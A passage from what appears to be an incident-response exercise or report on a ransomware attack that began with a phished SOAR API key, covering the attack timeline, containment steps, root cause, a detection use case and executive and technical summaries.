- MFA irrelevant for API access

SECTION 9 — TIMELINE

25. Full attack timeline

1. Phishing email delivers SOAR token lure
2. svc-soar API key compromised
3. SOAR admin actions from foreign IP
4. Playbooks disabled
5. Alerts suppressed
6. Tickets auto-closed
7. Ransomware staged on FILESVR-05
8. Lateral movement
9. Encryption begins
10. SOC blind until impact

26. True initial access vector

SOAR API key compromise via phishing

Missed because:

- Not endpoint malware

- Not user login
- Occurs in tooling plane

27. When SOC lost visibility

At the moment playbooks + notifications were disabled

From that point:

- SOC was effectively offline

SECTION 10 — SOC RESPONSE

28. Escalation timing

- L1 → L2: First SOAR admin action from external IP
- Incident: Playbook disablement + suppression
- Management: Ransomware alerts suppressed

29. Immediate containment actions

SOAR

- Revoke all API keys
- Disable svc-soar
- Freeze configuration changes

SIEM

- Remove suppression rules
- Reopen closed alerts

IAM

- Reset service account secrets
- Audit all admin roles

Endpoints

- Isolate FILESVR-05
- Stop encryption

Network

- Block attacker domains

30. Actions NOT to take

- Do not reboot SOAR
- Do not delete audit logs
- Do not rotate secrets before evidence capture

SECTION 11 — ROOT CAUSE

31. First control failure

SOAR security governance

The SOC assumed:

“Security tools don’t get compromised”

This assumption is false.

32. Broken SOC design assumption

That:

- SOAR actions are always trustworthy
- Automation cannot be abused
- Alerts equal visibility

33. Single detection use case

Alert when:

- SOAR admin actions originate from non-approved IPs
- Combined with playbook disablement or suppression

SECTION 12 — REPORTING

34. Executive summary

The organisation suffered a ransomware incident due to a compromise of the SOC’s SOAR platform, which allowed attackers to suppress alerts, disable response playbooks and auto-close incidents. This resulted in a complete loss of detection and response capability while ransomware executed on critical servers. The root cause was insufficient protection and monitoring of SOC automation and service accounts.

35. Technical handover summary

svc-soar API key was compromised and abused from external IPs to disable SOAR playbooks, create suppression rules, reroute notifications and auto-close tickets. Concurrently, ransomware staging and lateral movement occurred on FILESVR-05 using it.support credentials. SOC visibility was lost until impact. Immediate focus is restoring SOAR integrity, reopening alerts, isolating affected hosts and conducting a full audit of SOC tooling.

36. Follow-up actions

YES to all:

- External IR support
- Audit review
- SOC architecture redesign